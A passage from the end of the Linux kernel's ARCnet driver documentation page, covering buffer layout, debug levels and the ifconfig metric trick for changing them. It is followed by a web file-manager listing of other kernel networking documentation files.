from me or in the full ARCnet package, if you have it) as root to list the
contents of the arcnet buffers at any time.  To make any sense at all out of
this, you should grab the pertinent RFCs. (some are listed near the top of
arcnet.c).  arcdump assumes your card is at 0xD0000.  If it isn’t, edit the
script.</p>
<p>Buffers 0 and 1 are used for receiving, and Buffers 2 and 3 are for sending.
Ping-pong buffers are implemented both ways.</p>
<p>If your debug level includes D_DURING and you did NOT define SLOW_XMIT_COPY,
the buffers are cleared to a constant value of 0x42 every time the card is
reset (which should only happen when you do an ifconfig up, or when Linux
decides that the driver is broken).  During a transmit, unused parts of the
buffer will be cleared to 0x42 as well.  This is to make it easier to figure
out which bytes are being used by a packet.</p>
<p>You can change the debug level without recompiling the kernel by typing:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>ifconfig arc0 down metric 1xxx
/etc/rc.d/rc.inet1
</pre></div>
</div>
<p>where “xxx” is the debug level you want.  For example, “metric 1015” would put
you at debug level 15.  Debug level 7 is currently the default.</p>
<p>Note that the debug level is (starting with v1.90 ALPHA) a binary
combination of different debug flags; so debug level 7 is really 1+2+4 or
D_NORMAL+D_EXTRA+D_INIT.  To include D_DURING, you would add 16 to this,
resulting in debug level 23.</p>
<p>If you don’t understand that, you probably don’t want to know anyway.
E-mail me about your problem.</p>
</section>
<section id="i-want-to-send-money-what-now">
<h2>I want to send money: what now?<a class="headerlink" href="#i-want-to-send-money-what-now" title="Link to this heading">¶</a></h2>
<p>Go take a nap or something.  You’ll feel better in the morning.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/networking/arcnet.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
caif Folder 0755
device_drivers Folder 0755
devlink Folder 0755
diagnostic Folder 0755
dsa Folder 0755
mac80211_hwsim Folder 0755
net_cachelines Folder 0755
pse-pd Folder 0755
6lowpan.html File 9.97 KB 0644
6pack.html File 18.06 KB 0644
af_xdp.html File 71.08 KB 0644
alias.html File 9.71 KB 0644
arcnet-hardware.html File 153.3 KB 0644
arcnet.html File 37.48 KB 0644
atm.html File 8.24 KB 0644
ax25.html File 8.75 KB 0644
bareudp.html File 10.56 KB 0644
batman-adv.html File 16.81 KB 0644
bonding.html File 140.89 KB 0644
bridge.html File 53.36 KB 0644
can.html File 120.11 KB 0644
can_ucan_protocol.html File 25.27 KB 0644
cdc_mbim.html File 25.28 KB 0644
checksum-offloads.html File 16.15 KB 0644
dctcp.html File 10.32 KB 0644
devmem.html File 24.33 KB 0644
dns_resolver.html File 15.11 KB 0644
driver.html File 20.41 KB 0644
eql.html File 31.48 KB 0644
ethtool-netlink.html File 274 KB 0644
failover.html File 8.43 KB 0644
fib_trie.html File 16.04 KB 0644
filter.html File 42.43 KB 0644
gen_stats.html File 14.2 KB 0644
generic-hdlc.html File 14.67 KB 0644
generic_netlink.html File 8.11 KB 0644
gtp.html File 20.55 KB 0644
ieee802154.html File 25.03 KB 0644
ila.html File 21.79 KB 0644
index.html File 108.18 KB 0644
ioam6-sysctl.html File 8.48 KB 0644
iou-zcrx.html File 16.63 KB 0644
ip-sysctl.html File 154.81 KB 0644
ip_dynaddr.html File 9.97 KB 0644
ipsec.html File 9.71 KB 0644
ipv6.html File 9.87 KB 0644
ipvlan.html File 16.87 KB 0644
ipvs-sysctl.html File 20.73 KB 0644
iso15765-2.html File 39.91 KB 0644
j1939.html File 99.33 KB 0644
kapi.html File 1.78 MB 0644
kcm.html File 21.67 KB 0644
l2tp.html File 47.74 KB 0644
lapb-module.html File 22.56 KB 0644
mac80211-injection.html File 12.37 KB 0644
mctp.html File 35.16 KB 0644
mpls-sysctl.html File 9.64 KB 0644
mptcp-sysctl.html File 13.33 KB 0644
mptcp.html File 19.74 KB 0644
msg_zerocopy.html File 19.72 KB 0644
multi-pf-netdev.html File 17.48 KB 0644
multiqueue.html File 13.21 KB 0644
napi.html File 43.36 KB 0644
net_dim.html File 76.45 KB 0644
net_failover.html File 16.3 KB 0644
netconsole.html File 31.44 KB 0644
netdev-features.html File 17.75 KB 0644
netdevices.html File 43.33 KB 0644
netfilter-sysctl.html File 8.43 KB 0644
netif-msg.html File 12.93 KB 0644
netmem.html File 14.84 KB 0644
nexthop-group-resilient.html File 24.56 KB 0644
nf_conntrack-sysctl.html File 15.77 KB 0644
nf_flowtable.html File 21.24 KB 0644
nfc.html File 13.73 KB 0644
oa-tc6-framework.html File 39.07 KB 0644
openvswitch.html File 21.15 KB 0644
operstates.html File 18.28 KB 0644
packet_mmap.html File 55.34 KB 0644
page_pool.html File 59.25 KB 0644
phonet.html File 16.92 KB 0644
phy-link-topology.html File 15.77 KB 0644
phy.html File 40.5 KB 0644
pktgen.html File 24.97 KB 0644
plip.html File 18.56 KB 0644
ppp_generic.html File 37.23 KB 0644
proc_net_tcp.html File 11.13 KB 0644
psp.html File 18.66 KB 0644
radiotap-headers.html File 14.73 KB 0644
rds.html File 29.39 KB 0644
regulatory.html File 18.44 KB 0644
representors.html File 25.79 KB 0644
rxrpc.html File 130.88 KB 0644
scaling.html File 40.25 KB 0644
sctp.html File 9.73 KB 0644
secid.html File 8.42 KB 0644
seg6-sysctl.html File 9.53 KB 0644
segmentation-offloads.html File 17.81 KB 0644
sfp-phylink.html File 41.09 KB 0644
skbuff.html File 29.22 KB 0644
smc-sysctl.html File 10.42 KB 0644
snmp_counter.html File 91.51 KB 0644
sriov.html File 9.46 KB 0644
statistics.html File 31.78 KB 0644
strparser.html File 19.15 KB 0644
switchdev.html File 39.55 KB 0644
sysfs-tagging.html File 10.95 KB 0644
tc-actions-env-rules.html File 8.87 KB 0644
tc-queue-filters.html File 9.33 KB 0644
tcp-thin.html File 10.33 KB 0644
tcp_ao.html File 35.85 KB 0644
team.html File 7.93 KB 0644
timestamping.html File 59.83 KB 0644
tipc.html File 384.61 KB 0644
tls-handshake.html File 21.18 KB 0644
tls-offload.html File 42.72 KB 0644
tls.html File 39.38 KB 0644
tproxy.html File 13.18 KB 0644
tuntap.html File 19 KB 0644
udplite.html File 23.04 KB 0644
vrf.html File 28.46 KB 0644
vxlan.html File 11.95 KB 0644
x25-iface.html File 10.9 KB 0644
x25.html File 10.07 KB 0644
xdp-rx-metadata.html File 27.46 KB 0644
xfrm_device.html File 19.14 KB 0644
xfrm_proc.html File 11.37 KB 0644
xfrm_sync.html File 15.85 KB 0644
xfrm_sysctl.html File 8.07 KB 0644
xsk-tx-metadata.html File 18.64 KB 0644
Filemanager